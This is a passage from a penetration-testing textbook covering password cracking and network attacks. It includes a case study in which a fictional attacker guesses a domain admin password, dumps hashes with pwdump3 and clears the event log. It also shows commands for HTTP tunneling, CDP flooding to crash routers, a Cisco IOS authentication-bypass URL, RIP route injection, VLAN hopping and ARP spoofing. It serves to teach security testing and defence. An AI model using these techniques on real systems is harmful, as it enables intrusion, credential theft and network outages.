at home on your work computers\n— Installing unauthorized software \n— Disclosing your password to anyone\n— Responding to phone calls asking about user accounts and password \nquestions\nEmployee education helps to thwart possible social engineering attacks and helps users \nunderstand why rules are in place. When users understand why things are done a certain \nway, such as why it is important to use long, complex passwords, they have less objection \nto conforming to the policies.\n" }, { "page_number": 343, "text": "316\nChapter 9: Password Cracking\nTIP\nThe Computer Security Division (CSD) provides an example “Sample Generic Policy and \nHigh Level Procedures for Passwords and Access Forms” of how to construct your own \npolicy. See http://csrc.ncsl.nist.gov/fasp/FASPDocs/id-authentication/password.doc.\nThe Microsoft site actually contains several great documents and references on what makes \na good password. When you are developing your own password policy and \nrecommendations for password security, look at “Selecting Secure Passwords” at http://\nwww.microsoft.com/canada/smallbiz/french/sgc/articles/select_sec_passwords.mspx.\nCase Study\nThis case study chains several steps together to show how easily password cracking can \ntake place. Hopefully systems are more secure than the one described here, but you can \nnever rely on this being true.\nDo you remember Evil Jimmy, the hacker who compromised the Cisco IDS sensor back in \nChapter 7? As you might recall, Evil Jimmy used session hijacking to compromise the new \nIDS system of the company and turn off all the alarms that he might trigger while port \nscanning the network computers. \nWell, Evil Jimmy is back, and he has just finished port scanning dozens of computers. He \nhas concluded that the target network Little Company Network (LCN) is composed of a \nWindows 2003 domain. This is great news. Evil Jimmy now sets himself a new goal: obtain \nthe domain administrator password and subsequently the password of every user within the \nnew 2003 Active Directory of LCN. \nStep 1\nJimmy gathers his tools for the attack:\n— Telephone for a bit of social engineering\n— Brutus.exe for password guessing\n— Pwdump3.exe for extracting the usernames and password hashes \nfrom 2003 Active Directory\n— L0phtcrack and John the Ripper for cracking the passwords \ndumped from Pwdump3.exe\n— Coffee and a Twix candy bar\n— The Matrix movie for watching while password cracking is taking \nplace\nStep 2\nEvil Jimmy decides to do a little bit of social engineering just to see what he \ncan find from the domain administrators. He calls the domain administrators \nand asks, “What kinda Windows domain are we using here? Is it that new cool \n" }, { "page_number": 344, "text": "Case Study\n317\n2003 Directory stuff?” Proudly, the administrator replies with “Yes, and we \njust installed it last month.” With this bit of information, Jimmy understands \nthat LCN is new to 2003, and perhaps the company has not implemented all \nthe security features needed yet. The system is probably backward compatible \nwith LANMAN hashes. Next, Jimmy starts complaining about forgetting his \npassword and asks whether he can get a new one. LCN administrators are wise \nto this trick. They never give out passwords over the phone. They inform him \nthat he has to come to the office to collect the new password. Jimmy has just \nlearned some of the LCN policies. He tells them he will by right there after the \n(fictitious) meeting he is in is over.\nNote that this step is optional but does help provide a basic feel of how the \ndomain administrators are handling telephone calls relating to passwords.\nStep 3\nEvil Jimmy pulls out a network-based password-guessing tool called Brutus. \nYou can configure Brutus for dictionary attacks or brute force attack against \nTelnet, FTP, NetBIOS, and more. Jimmy configures Brutus for NetBIOS \npassword guessing against the domain controller directly. He also uses \\\\ip \naddress\\IPC$ network share that all Windows computers contain. That way, he \ndoes not have to guess about share names on the server. Figure 9-28 shows a \nscreen shot of the Brutus tool configured. A summary of the configuration is \nas follows:\n— Target username: administrator\n— Target: \\\\ip address\\IPC$\n— Password Mode: First dictionary, and then brute force\nFigure 9-28 Brutus\n" }, { "page_number": 345, "text": "318\nChapter 9: Password Cracking\nAfter about 2 minutes, Brutus successfully guesses the correct \nadministrator password 123 and proves that the domain administrators \nare not locking accounts!\nStep 4\nNext, Jimmy goes back connecting as the domain administrator to the \ndomain controller. It is possible to do this in several ways, but using the \ncommand prompt syntax to force a connection as the administrator is \nsufficient:\nC:/>Net use \\\\192.168.1.10\\ipc$ 123 /u:administrator \nThe command completed successfully.\nThis allows any connection to a domain controller to connect as the \nadministrator rather than as Evil Jimmy’s interactive desktop user. \nStep 5\nNow it is time to extract all the usernames and hashed passwords from \nthe domain controller. Jimmy pulls out pwdump3 and enters the \nfollowing command to extract this list:\nC:\\>pwdump3 192.168.1.10 coolLCN.txt\npwdump3 (rev 2) by Phil Staubs, e-business technology, 23 Feb 2001\nCopyright 2001 e-business technology, Inc.\nThis program is free software based on pwpump2 by Todd Sabin under the \nGNU\nGeneral Public License Version 2 (GNU GPL), you can redistribute it and/\nor\nmodify it under the terms of the GNU GPL, as published by the Free \nSoftware\nFoundation. NO WARRANTY, EXPRESSED OR IMPLIED, IS GRANTED WITH THIS\nPROGRAM. Please see the COPYING file included with this program (also\navailable at www.ebiz-tech.com/pwdump3) and the GNU GPL for further \ndetails.\nCompleted.\nStep 6\nIt is time for a little cleanup operation, so Evil Jimmy connects to the domain \ncontroller 192.168.1.10 and clears the security Event Log. Figure 9-29 shows \nclearing the Event Log. \nStep 7\nWith the extract created with pwdump3, Evil Jimmy can load the file into \nL0phtcrack or John the Ripper for offline brute forcing while he is at \nhome watching The Matrix. It is only a matter of time before he has all \nthe passwords for the Windows 2003 Domain of LCN. It is almost too \neasy, really.\nThis case study shows how you can execute a basic step-by-step process to extract the \nusername and password lists of an entire domain. You can easily use the same method \nduring a penetration test for good purposes.\n" }, { "page_number": 346, "text": "Summary 319\nFigure 9-29 Event Log\nSummary\nThis chapter introduced Linux and Windows password cracking. Types of password \ncracking can include brute force, hybrid, or dictionary attacks. To successfully crack \npasswords, you need to either obtain the password file (whether that is the \n%winnt%\\system32\\config\\SAM file on Windows or the /etc/passwd or /etc/shadow file on \nLinux) or capture the passwords as they are sent across the network by using a packet \nsniffer.\nSteps for detecting a password cracking attack includes checking log files and sniffing \ntraffic while looking for attempted brute force attacks.\nThe best approach to securing against password cracking attacks is enforcing a strong \npassword policy. Your password policy should include requiring both uppercase and \nlowercase letters, numbers, and special characters. The password policy should also require \nthat passwords are changed regularly and lock out accounts when the password is \nimproperly entered after three attempts.\nAlthough you can do little to prevent malicious hackers from attempting to crack your \npasswords, you can implement these measures as a deterrent and to weaken the possibility \nof success.\n" }, { "page_number": 347, "text": "Network: Any thing reticulated or decussated, at equal distances, with interstices between \nthe intersections.\n—Samuel Johnson, Dictionary of the English Language (1755)\n" }, { "page_number": 348, "text": "C H A P T E R 10\nAttacking the Network\nNetwork administrators have to be concerned with a lot more than just protecting their \nservers. They also need to put safeguards in place to protect a number of networked devices, \nincluding firewalls, intrusion detection systems (IDSs), routers, and switches. \nThis chapter discusses tools and techniques to penetrate past these network devices. It \nconcludes with a discussion on how to secure your network from the types of attacks \nmentioned in this chapter.\nBypassing Firewalls\nA firewall is a security buffer between two or more networks. Firewalls provide this security \nbuffer by filtering unused ports and opening ports to allowed hosts. Some firewalls provide \nstateful packet inspection, which means they check addresses and ports and look inside the \nIP and TCP or UDP header to verify that it is an acceptable packet.\nThe first step you should take when performing a penetration test against a firewall device \nis determining which ports are allowed through a firewall and which ports are filtered. After \nyou discover this information, you can begin to attempt attacks against those ports that are \nnot filtered. Two popular methods of ascertaining the configuration of a firewall are as \nfollows:\n•\nACK scan\n•\nFirewalking\nIn an ACK scan, TCP packets are sent to each port, with the ACK bit set. Firewalls typically \nrespond to unfiltered ports with a TCP packet that has the RST bit set. Most firewalls do not \nrespond to filtered ports. By recording the RST packets that are returned from a firewall, \nyou can assess what services might be running on the inside of a network. For example, if \nyou get a RST packet for a scan of TCP port 80, you know that a web server is likely on the \ninside of the network because web traffic uses TCP port 80. \nThe second method of determining the firewall configuration is firewalking. Firewalking \ndepends on the firewall generating an ICMP TTL expired message. As a packet goes \nthrough a firewall, the firewall decrements the IP TTL field by 1. When the TTL gets to 0, \nan ICMP TTL expired message is returned to the sender. Firewalking sends packets to a \n" }, { "page_number": 349, "text": "322\nChapter 10: Attacking the Network\nfirewall with a TTL set to one more than the TTL necessary to get to the firewall. One packet \nis sent for each port you want to test. If a port is being filtered, you receive no response \nbecause the packet will be dropped. (Some firewalls might return a RST.) If a port is \nunfiltered, the firewall decrements the TTL by one. Because the packet is sent with a TTL \none more than the firewall, the TTL decrements to zero. This causes the firewall to generate \nan ICMP TTL expired message back to you. By listening to the ICMP TTL messages, you \ncan begin to map out the rule set on the firewall. For each ICMP TTL message you receive, \nyou can list that port as being unfiltered.\nA malicious hacker is concerned not only with the rules on a firewall, but also with how to \nbypass a firewall without being detected. A malicious hacker attempts to upload files or \nlaunch attacks by tunneling traffic through open ports. As a penetration tester, you should \ntest these tunneling techniques to determine if the firewall is vulnerable to tunneling \nexploits.\nYou can use several tunneling methods to bypass a firewall, including these:\n•\nLoki ICMP tunneling\n•\nACK tunneling\n•\nHTTP tunneling\nLoki ICMP tunneling was introduced in Volume Seven, Issue Forty-Nine of Phrack \nMagazine (http://www.phrack.org/phrack/49/P49-06). This type of tunneling allows you to \ntunnel a backdoor shell in the data portion of ICMP Echo packets. RFC 792, which \ndelineates ICMP operation, does not define what should go in the data portion. Because the \npayload portion is arbitrary, most firewalls do not examine it. Therefore, you can put any \ndata you want in the payload portion of the ICMP packet, including a backdoor application. \nAssuming that ICMP is allowed through a firewall, you can use Loki ICMP tunneling to \nexecute commands of your choosing by tunneling them inside the payload of ICMP echo \npackets.\nSome administrators like to keep ICMP open on their firewall because it is useful for tools \nlike ping and traceroute. However, many attacks utilize ICMP. You should disable ICMP on \nyour firewalls to prevent these types of attacks. \nIf ICMP is blocked on a firewall, do not assume that the firewall is safe from attack. A \npenetration tester or malicious hacker can also attempt ACK tunneling. This follows the \nsame concept as ICMP tunneling in that your backdoor application is tunneling within \nallowed packets, but in ACK tunneling, you are tunneling with TCP packets with the ACK \nbit set. \nYou use the ACK bit to acknowledge receipt of a packet. Some firewalls and IDS devices \ndo not check packets with the ACK bit set because ACK bits are supposed to be used in \nresponse to legitimate traffic that is already being allowed through. \nOne tool that implements ACK tunneling is AckCmd (http://ntsecurity.nu/toolbox/ackcmd/). \nAckCmd is a backdoor application that allows you to get a remote shell on a Windows \n" }, { "page_number": 350, "text": "Evading Intruder Detection Systems 323\ncomputer (assuming AckCmd is running on the target host). The client component of \nAckCmd communicates with the server component entirely through the use of ACK \nsegments.\nBesides ICMP and ACK tunneling, you can attempt HTTP tunneling. If your target \ncompany has a public web server, it will have TCP port 80, the port used for HTTP traffic, \nunfiltered on its firewall. Many firewalls do not examine the payload of an HTTP packet to \nconfirm that it is legitimate HTTP traffic. Therefore, you can tunnel your traffic inside TCP \nport 80 because it is already allowed. \nHTTPTunnel (http://www.nocrew.org/software/httptunnel.html) is a tool that uses this \ntechnique of tunneling traffic across TCP port 80. HTTPTunnel is a client/server \napplication. The client application is called htc and the server is hts. You need to upload the \nserver onto the target system and tell it which port you want to redirect through TCP port \n80. For example, if you want to Telnet your target box, you can redirect TCP port 23 (the \nTelnet port) to port 80 (the HTTP port). You can accomplish this through the following \ncommand:\nhts –F target.hackmynetwork.com:23 80\nOn the client machine, execute the client application with the following command:\nhtc –F 23 target.hackmynetwork.com:80\nYou can apply the same command to any application that you want to redirect to TCP port 80.\nICMP, ACK, and HTTP tunneling are all techniques to get around firewalls undetected. \nNext, you will learn about evading IDSs.\nEvading Intruder Detection Systems\nIDSs fall into two categories:\n•\nSignature based—Detects well-known attacks for which there are signatures\n•\nAnomaly based—Records what is normal activity on a network for a short learning \nperiod and then alerts you when network traffic deviates from what is considered \nauthorized activity\nSignature-based IDS devices are easier to circumvent than anomaly-based ones. Because \nsignature-based IDSs depend on patterns (or signatures) of attacks, you can circumvent the \nIDS by launching an attack that does not match the patterns it is looking for. Two methods \nof bypassing IDS devices are as follows:\n•\nEncryption\n•\nExploit mutation\nBecause signature-based IDS devices are looking for common patterns for known attacks, \nencrypting your data changes the appearance of your packets so that they can be passed \n" }, { "page_number": 351, "text": "324\nChapter 10: Attacking the Network\nundetected. Typically, you employ the use of encrypted communication when you are using \na remote access Trojan. For example, NCrypt (http://ncrypt.sourceforge.net/) is an \nencrypted version of NetCat (discussed in Chapter 12, “Using Trojans and Backdoor \nApplications”). Signature-based IDS devices might be able to detect the use of NetCat, but \nNCrypt encrypts your NetCat traffic using Rijndael, Serpent, or Twofish encryption so that \nyour attack is not detected. \nAn alternative to encryption is to mutate, or morph, your attack so that it has a different \nsignature. For example, many IDS devices watch for a stream of packets with the payload \nof 0x90, which is the NOP code that is often used in buffer overflow exploits. (For more on \nbuffer overflows, see Chapter 14, “Understanding and Attempting Buffer Overflows.”) To \nchange the attack so that it cannot be detected, you need to change the code so that it \nreplaces 0x90 (the NOP code) with functionally equivalent code. The Admutate program \n(http://www.ktwo.ca/) does just that. It has more than 50 different replacements that \nexchange the NOP code with equivalent code that is unique (and therefore undetectable by \nsignature-based IDS devices).\nTesting Routers for Vulnerabilities\nFirewalls and IDS devices are not the only devices on your network that you should be \ntesting. You should also test routers, for without them, all your communication between \nyour networks is lost.\nTest against the following services and features on your target routers:\n•\nCisco Discovery Protocol (CDP)\n•\nHTTP service\n•\nPasswords\n•\nRouting protocols\nCDP\nCDP is a data link layer proprietary protocol that is enabled on Cisco routers and switches \nand can be used to discover information about neighboring Cisco devices. Through CDP, \nyou can collect information about network layer addresses, the Cisco IOS Software version, \nand the platform type of neighboring Cisco devices. \nExample 10-1 shows output from the show cdp neighbors detail command, which is \nexecuted on a Cisco router to reveal information about a neighboring Cisco device. \nRelevant portions are highlighted.\n" }, { "page_number": 352, "text": "Testing Routers for Vulnerabilities 325\nFrom this command output, you can determine the IP address (192.168.12.5), platform \n(1604), and Cisco IOS version (12.2(3)) of a neighboring device. CDP is not encrypted, and \nit does not have mechanisms for authentication between devices. A malicious hacker or \npenetration tester can connect a rogue router or switch and discover information about \ndevices on your network.\nCDP advertisements are sent every 60 seconds by default. Therefore, if you are testing a \nrouter or switch, you might need to wait before receiving information from the neighboring \ndevice.\nA malicious hacker can also crash or reboot a router that is running a release of Cisco IOS \nSoftware earlier than 12.2(3) by sending a large number of CDP frames to the router. This \nis documented in the following Cisco security notice:\nhttp://www.cisco.com/warp/public/707/cdp_issue.shtml\nTo send multiple CDP frames, you can use the Linux-based CDP Sender tool from the \nPhenoelit IRPAS package (http://www.phenoelit.de/irpas). The syntax to flood a device \nwith CDP frames is as follows:\nLinux#./cdp –i eth0 –n 100000 –l -1480 –r –v\nThese are the options in this command:\n•\n-i—The interface on your computer that you want to send CDP frames out of. \nTypically, this is eth0.\n•\n-n—The number of CDP frames you want to send. In this example, 100,000 frames \nare being sent. \n•\n-l—The MTU size. For Ethernet networks, this should be set to 1480.\nExample 10-1\nshow cdp neighbors detail Command Output\nRouter#show cdp neighbors detail\n-------------------------\nDevice ID: RemoteRouter\nEntry address(es):\n IP address: 192.168.12.5\nPlatform: cisco 1604R, Capabilities: Router\nInterface: Ethernet0, Port ID (outgoing port): Ethernet0\nHoldtime : 114 sec\nVersion :\nCisco Internetwork Operating System Software\nIOS (tm) 1600 Software (C1600-sy-mz), Version 12.2(3)\nCopyright 1986-2002 by Cisco Systems, Inc.\nadvertisement version: 2\nDuplex: full\n" }, { "page_number": 353, "text": "326\nChapter 10: Attacking the Network\n•\n-r—Randomize the device ID. Without this option, the router sees the same device \nidentifier and ignores any subsequent frames after it receives the first frame.\n•\n-v—Optional. This enables verbose output.\nHTTP Service\nYou can manage a router in several ways: \n•\nThrough remote terminal sessions (Telnet, SSH)\n•\nThrough console sessions\n•\nThrough remote network management stations using SNMP (such as \nCiscoWorks2000)\n•\nThrough a web interface using the HTTP interface \nWith this last option, you access the router using the username of admin and the enable \npassword. In Figure 10-1, you see the screen asking for authorization to access the web \npage.\nFigure 10-1\nHTTP Authentication\n" }, { "page_number": 354, "text": "Testing Routers for Vulnerabilities 327\nAfter you are authenticated, you can manage your router over the web. Figure 10-2 presents \nthe web page on a Cisco 2500 series router after it is authenticated.\nFigure 10-2\nHTTP Router Interface\nCertain Cisco IOS Software versions (see http://www.securityfocus.com/bid/2936 for list \nof versions) have a vulnerability that enables you to bypass the authentication of the web \ninterface. A malicious hacker can bypass authentication and still view the running \nconfiguration. By typing a specially crafted URL, you can access the configuration where \nthe password is stored. After you have the password, you have full access. To bypass the \nauthentication, type the following into your web browser:\nhttp://ip address/level/99/exec/show/config\nOn vulnerable platforms, this returns a configuration like that shown in Figure 10-3.\n" }, { "page_number": 355, "text": "328\nChapter 10: Attacking the Network\nFigure 10-3\nBypassing Authentication Screen\nAfter you have the configuration, you can attempt to crack the password.\nPassword Cracking\nAuthenticating to Cisco routers can take several forms. At the most basic level, you can \nconfigure passwords for accessing privileged exec mode using the enable password or \nenable secret command. Table 10-1 points out the differences between the two.\nIn Figure 10-3, an enable password has been encrypted by using the service password-\nencryption command. This is not a deterrent, however, because this password is easily \ncracked. \nTable 10-1\nComparison of the enable password and enable secret Commands\nCommand\nDescription\nenable password [password]\nPassword is stored in the configuration in clear text. Anyone who \nhas access to the configuration sees the password. Password can be \nencrypted with type 7 encryption by entering the command service \npassword-encryption from the global configuration prompt.\nenable secret [password]\nPassword is encrypted in the configuration with type 5 encryption.\n" }, { "page_number": 356, "text": "Testing Routers for Vulnerabilities 329\nPasswords that are encrypted with the service password-encryption command are \nencrypted with type 5 encryption. Type 5 encryption uses MD5 hashing, which you cannot \ndecrypt. Consider the following caveat, however: Cisco routers use the same variables in \ncomputing the hash in every implementation where the service password-encryption\ncommand is used. As a result, a malicious hacker can crack the password by trying to hash \na list of passwords with the same MD5 hashing algorithm and variables and then comparing \nthe hashed list with the current hashed password. If the attempts of the hacker result in a \nmatch, he can crack the password.\nBoson GetPass! (http://www.boson.com) is a utility that shows you just how easy it is to \ncrack these passwords. When you paste in the encrypted password, GetPass! quickly \nreturns the plaintext version of the password. Figure 10-4 shows the GetPass! utility. \nFigure 10-4\nBoson GetPass! Utility\nAfter you have the password, you can attempt to Telnet or go via the web interface to gain \nfull access to the router. When you are inside the router, you can shut down interfaces, \nreconfigure passwords, change your access control lists (ACLs), or modify the \nconfiguration of any dynamic routing protocols in use.\nModifying Routing Tables\nDynamic routing protocols such as Open Shortest Path First (OSPF) or Routing \nInformation Protocol (RIP) allow your packets of data to travel from one network to \nanother. Routing protocols help determine the path of the packet through the network \nwithout having to manually configure each path. Popular routing protocols include the \nfollowing:\n•\nInterior Gateway Routing Protocol (IGRP)\n•\nEnhanced IGRP (EIGRP)\n•\nRIP\n" }, { "page_number": 357, "text": "330\nChapter 10: Attacking the Network\n•\nOSPF\n•\nIntermediate System-to-Intermediate System (IS-IS)\nNOTE\nFor more information on how routing protocols operate, see CCNP Self-Study: Building\nScalable Cisco Internetworks (BSCI), 2nd Edition and Optimal Routing Design, both from \nCisco Press.\nRouting tables exchange route information to learn of all available networks. From that \ninformation, an algorithm, such as the Dijkstra (OSPF, IS-IS), Bellman-Ford (RIP, IGRP), \nor DUAL (EIGRP) algorithm, is run. The routing algorithm determines what is considered \nthe best path to get to each network—also referred to as metrics. Some routing protocols, \nsuch as RIP, consider hop count, where the path that traverses the fewest number of routers \nis considered the best path. Other routing protocols, such as OSPF, consider the path with \nthe fastest cumulative bandwidth. (OSPF actually factors the cost of each link, with cost \nbeing defined as 108/bandwidth.) OSPF enters the best path into the routing table, which \nthe router uses to make routing decisions.\nA direct correlation exists between the accuracy of your routing table and the stability of \nyour networked environment. If your routing table is inaccurate, such as containing bogus \nentries, packets could end up being dropped as they are routed to invalid destinations. \nDropped packets equates to user downtime, which nobody likes.\nWhen performing a penetration test on a network, you should test to see if you can inject a \nbogus entry into the routing table of the corporation. This can be as easy as plugging in a \nrouter on the network and configuring it to inject routes, or using a utility such as Boson \nRIP Route Generator (http://www.boson.com).\nBoson RIP Route Generator simulates a router on a network and allows you to inject fake \nnetworks and a hop count that you configure. Figure 10-5 shows the RIP Route Generator \nprogram along with the RIP networks that it has discovered. \n" }, { "page_number": 358, "text": "Testing Routers for Vulnerabilities 331\nFigure 10-5\nBoson RIP Route Generator\nExample 10-2 shows a sample routing table generated from the command show ip route rip. \nExample 10-3 demonstrates what happens after injecting several new networks using \nBoson RIP Route Generator. These new networks are not legitimate networks, but fake \nnetworks sent to confuse the router.\nExample 10-2\nBefore Running Boson RIP Route Generator\nRIPRouter#show ip route rip\nR 172.16.0.0/16 [120/1] via 10.2.2.100, 00:00:06, Serial1/3\n 10.0.0.0/24 is subnetted, 3 subnets\nR 10.3.3.0 [120/1] via 10.2.2.100, 00:00:06, Serial1/3\nR 10.1.1.0 [120/1] via 10.2.2.100, 00:00:06, Serial1/3\nR 192.168.1.0/24 [120/2] via 10.2.2.100, 00:00:06, Serial1/3\n 192.168.2.0/28 is subnetted, 4 subnets\nR 192.168.2.64 [120/1] via 192.168.2.18, 00:00:01, Serial1/0\n [120/1] via 192.168.2.34, 00:00:01, Serial1/1\nR 192.168.3.0/24 [120/2] via 10.2.2.100, 00:00:06, Serial1/3\nExample 10-3\nAfter Running Boson RIP Route Generator \nRIPRouter#show ip route rip\nR 192.168.120.0/24 [120/2] via 192.168.2.18, 00:00:06, Serial1/0\n [120/2] via 192.168.2.34, 00:00:06, Serial1/1\nR 192.168.150.0/24 [120/2] via 192.168.2.18, 00:00:06, Serial1/0\n [120/2] via 192.168.2.34, 00:00:06, Serial1/1\nR 192.168.180.0/24 [120/2] via 192.168.2.18, 00:00:06, Serial1/0\n [120/2] via 192.168.2.34, 00:00:06, Serial1/1\nR 192.168.110.0/24 [120/2] via 192.168.2.18, 00:00:06, Serial1/0\n [120/2] via 192.168.2.34, 00:00:06, Serial1/1\ncontinues\n" }, { "page_number": 359, "text": "332\nChapter 10: Attacking the Network\nA malicious hacker can also use this tool. For example, perhaps you have a network of \n10.0.0.0/8 that your routing table states is five hops away through Serial 1/0. Using Boson \nRIP Route Generator, a malicious hacker can inject the same route (10.0.0.0/8) but make it \nonly one hop away through Serial 1/3. Being fewer hops, the latter would be the preferred \npath. However, this information is inaccurate and would cause the router to reroute the \npackets to the wrong interface.\nNOTE\nYou can accomplish a similar result to Boson RIP Route Generator by using the routed \ndaemon on Linux machines. The routed daemon supports the injection of RIP routes. To \naccomplish the same thing with OSPF or BGP networks, you can use the gated daemon. \nReview the Linux man pages for more information on routed and gated.\nOther routing protocols are susceptible to these types of attacks. You should always use \nauthentication when running routing protocols to prevent these types of attacks. \nAuthentication is discussed later in the “Securing the Network” section.\nR 192.168.130.0/24 [120/2] via 192.168.2.18, 00:00:06, Serial1/0\n [120/2] via 192.168.2.34, 00:00:06, Serial1/1\nR 192.168.160.0/24 [120/2] via 192.168.2.18, 00:00:06, Serial1/0\n [120/2] via 192.168.2.34, 00:00:06, Serial1/1\n 172.16.0.0/16 is variably subnetted, 3 subnets, 2 masks\nR 172.16.0.0/16 [120/1] via 10.2.2.100, 00:00:25, Serial1/3\nR 192.168.200.0/24 [120/2] via 192.168.2.18, 00:00:06, Serial1/0\n [120/2] via 192.168.2.34, 00:00:06, Serial1/1\nR 192.168.140.0/24 [120/2] via 192.168.2.18, 00:00:06, Serial1/0\n [120/2] via 192.168.2.34, 00:00:06, Serial1/1\nR 192.168.190.0/24 [120/2] via 192.168.2.18, 00:00:06, Serial1/0\n [120/2] via 192.168.2.34, 00:00:06, Serial1/1\n 10.0.0.0/8 is variably subnetted, 4 subnets, 2 masks\nR 10.3.3.0/24 [120/1] via 10.2.2.100, 00:00:25, Serial1/3\nR 10.1.1.0/24 [120/1] via 10.2.2.100, 00:00:25, Serial1/3\nR 192.168.170.0/24 [120/2] via 192.168.2.18, 00:00:14, Serial1/0\n [120/2] via 192.168.2.34, 00:00:14, Serial1/1\n 192.168.2.0/28 is subnetted, 4 subnets\nR 192.168.2.64 [120/1] via 192.168.2.18, 00:00:14, Serial1/0\n [120/1] via 192.168.2.34, 00:00:14, Serial1/1\nR 192.168.100.0/24 [120/2] via 192.168.2.18, 00:00:14, Serial1/0\n [120/2] via 192.168.2.34, 00:00:14, Serial1/1\nR 192.168.3.0/24 [120/2] via 10.2.2.100, 00:00:06, Serial1/3\nExample 10-3\nAfter Running Boson RIP Route Generator (Continued)\n" }, { "page_number": 360, "text": "Testing Switches for Vulnerabilities 333\nTesting Switches for Vulnerabilities\nRouters are not the only networking devices that are vulnerable to attack. You should also \nthoroughly test your switches on your LAN. Following are some of the methods for testing \nswitches:\n•\nVLAN hopping\n•\nSpanning Tree attacks\n•\nMAC table flooding\n•\nARP attacks\n•\nVTP attacks\nVLAN Hopping\nVLANs are a Layer 2 method of segmenting your broadcast domains. VLANs are also \noften used to provide additional security on networks because computers on one VLAN \ncannot talk to users on another VLAN without explicit access through the use of inter-\nVLAN routing or a multilayer switch. However, as you shall soon see, VLANs by \nthemselves are not enough to secure your environment. Through VLAN hopping, a \nmalicious hacker can hop from one VLAN to another, even if he is not authorized. \nVLAN hopping relies on the Dynamic Trunking Protocol (DTP). If you have two switches \nthat are connected, DTP can negotiate between the two to determine if they should be an \n802.1Q trunk. Negotiation is done by examining the configured state of the port. There are \nfive states, as described in Table 10-2.\nBoth switches need to agree to be trunks before a trunk link is established. Table 10-3 shows \nthe required states necessary for a trunk to be made. \nTable 10-2\nDTP States\nState\nDescription\nOn\nPort is configured to be a trunk.\nOff\nPort is configured to be an access port and should not be a trunk.\nAuto\nPort is set to auto-negotiate a trunk status. Will become a trunk if the other switch \nactively wants to be a trunk.\nDesirable\nPort is set to auto-negotiate a trunk and actively announces that it wants to be a \ntrunk.\nNonegotiate\nPort disables DTP and sets it to be a trunk. There will be no negotiation.\n" }, { "page_number": 361, "text": "334\nChapter 10: Attacking the Network\nTrunk links carry traffic from all VLANs. In 802.1Q trunking, which DTP negotiates, four \nbytes are added to the Ethernet header to define what VLAN a frame is a member of. When \na frame leaves the trunk and enters another switch, the 802.1Q shim header is removed, the \nframe check sequence is recalculated, and the frame is brought back to its original form. \nVLAN hopping exploits the use of DTP. In VLAN hopping, you spoof your computer to \nappear as another switch. You send a fake DTP negotiate message announcing that you \nwould like to be a trunk. When the real switch hears your DTP message, it thinks it should \nturn on 802.1Q trunking. When trunking is turned on, all traffic for all VLANs is sent to \nyour computer. Figure 10-6 illustrates this process.\nFigure 10-6\nVLAN Hopping\nAfter a trunk is established, you either can proceed to sniff the traffic, or you can send traffic \nby adding 802.1Q information to your frames that designate which VLAN you want to send \nyour attack to.\nSpanning Tree Attacks\nThe Spanning Tree Protocol (STP) prevents loops in redundant switched environments. If \nthe network has a loop, the network can become saturated, broadcast storms can occur, \nMAC table inconsistencies can arise, and, ultimately, the network can crash. \nAll switches running STP share information through the use of bridge protocol data units \n(BPDUs), which are sent every two seconds. When a switch sends a BPDU, it includes an \nTable 10-3\nDTP Negotiation\nSwitch 1 States →\nSwitch 2 States ↓\nON\nOFF\nAUTO\nDESIRABLE\nNONEGOTIATE\nON\nTrunk\nTrunk\nTrunk\nOFF\nAUTO\nTrunk\nTrunk\nDESIRABLE\nTrunk\nTrunk\nTrunk\nNONEGOTIATE\nTrunk\nSend Crafted\nDTP Frame\n1\nTrunk Is\nEstablished\n2\n" }, { "page_number": 362, "text": "Testing Switches for Vulnerabilities 335\nidentifier called a bridge ID. This bridge ID is a combination of a configurable priority \nnumber (default is 32768) and the base MAC address of the switch. Switches send and \nlisten to these BPDUs to determine which switch has the lowest bridge ID. The switch that \nhas the lowest bridge ID becomes the root bridge.\nA root bridge is like a neighborhood grocery store in a small town. Every small town needs \na grocery store, and every citizen needs to determine the best way to get to the grocer. Paths \nthat take longer than the best route are not used unless the main road is blocked. \nRoot bridges operate in a similar way. Every other switch determines the best path back to \nthe root bridge. This determination is based on cost, which, if not manually configured, is \nbased on values assigned to bandwidth. Any other paths are put into blocking mode and \nonly come out of blocking mode if they detect that doing so would not create a loop, such \nas if the primary path went down. \nA malicious hacker might take advantage of the way STP works to cause a denial-of-service \n(DoS) attack. By connecting a computer to more than one switch and sending crafted \nBPDUs with a low bridge ID, a malicious hacker can trick a switch into thinking that it is \na root bridge. This can cause STP to reconverge and can subsequently cause a loop, which \nin turn might crash the network. \nMAC Table Flooding \nSwitches operate by recording the source MAC address as a frame enters a switch. The \nMAC address is associated with the port it entered so that subsequent traffic for that MAC \naddress only goes out that port. This saves on bandwidth utilization because traffic does not \nneed to go out all ports, but only those ports that need to receive the traffic. \nMAC addresses are stored in content addressable memory (CAM), which is 128 K of \nreserved memory to store MAC addresses for quick lookup. If a malicious hacker can flood \nCAM, he can cause the switch to begin flooding traffic everywhere, opening the door to \nman-in-the-middle (MITM) attacks or, even worse, crashing the switch in a DoS attack. \ndsniff (http://www.monkey.org/~dugsong/dsniff/) is a collection of Linux-based tools for \npenetration testing. One of the tools included in the dsniff package is macof. The macof tool \nattempts to flood the CAM of a switch with random MAC addresses so that frames are \nflooded out all ports. This facilitates sniffing in a switched environment.\nARP Attacks\nThe Address Resolution Protocol (ARP) maps Layer 3 logical IP addresses with Layer 2 \nphysical MAC addresses. ARP requests are sent out when a device knows the IP address \nbut does not know the MAC address of a requested host. ARP requests are sent out as \nbroadcasts so that all hosts receive the request. \n" }, { "page_number": 363, "text": "336\nChapter 10: Attacking the Network\nA malicious hacker can send a spoofed ARP reply to capture traffic directed toward another \nhost. Figure 10-7 illustrates an example in which an ARP request is sent as a broadcast \nframe asking for the MAC address of a legitimate user. Evil Jimmy is also on the network, \ntrying to capture traffic being sent to this legitimate user. Evil Jimmy spoofs an ARP \nresponse declaring himself as the owner of IP address 10.0.0.55 with the MAC address of \n05-1C-32-00-A1-99. The legitimate user also responds with the same MAC address. Now \nthe switch has two ports associated with this MAC address in its MAC address table, and \nall frames that are destined for this MAC address are sent both to the legitimate user and to \nEvil Jimmy.\nFigure 10-7\nARP Spoofing\nARP spoofing is a popular tactic that is often used in session hijacking attacks. For more on \nsession hijacking, see Chapter 6, “Understanding and Attempting Session Hijacking.”\nVTP Attacks\nThe VLAN Trunking Protocol (VTP) is a management protocol that reduces the amount of \nconfiguration in a switched environment. With VTP, a switch can be a VTP Server, VTP \nClient, or VTP Transparent switch. VTP Transparent switches do not participate in VTP, so \nthe discussion here focuses on Server and Client. Using VTP, you can configure all your \nVLAN declarations on a switch operating in VTP Server mode. Any time you make a \nchange, whether it is the addition, modification, or removal of a VLAN, the VTP 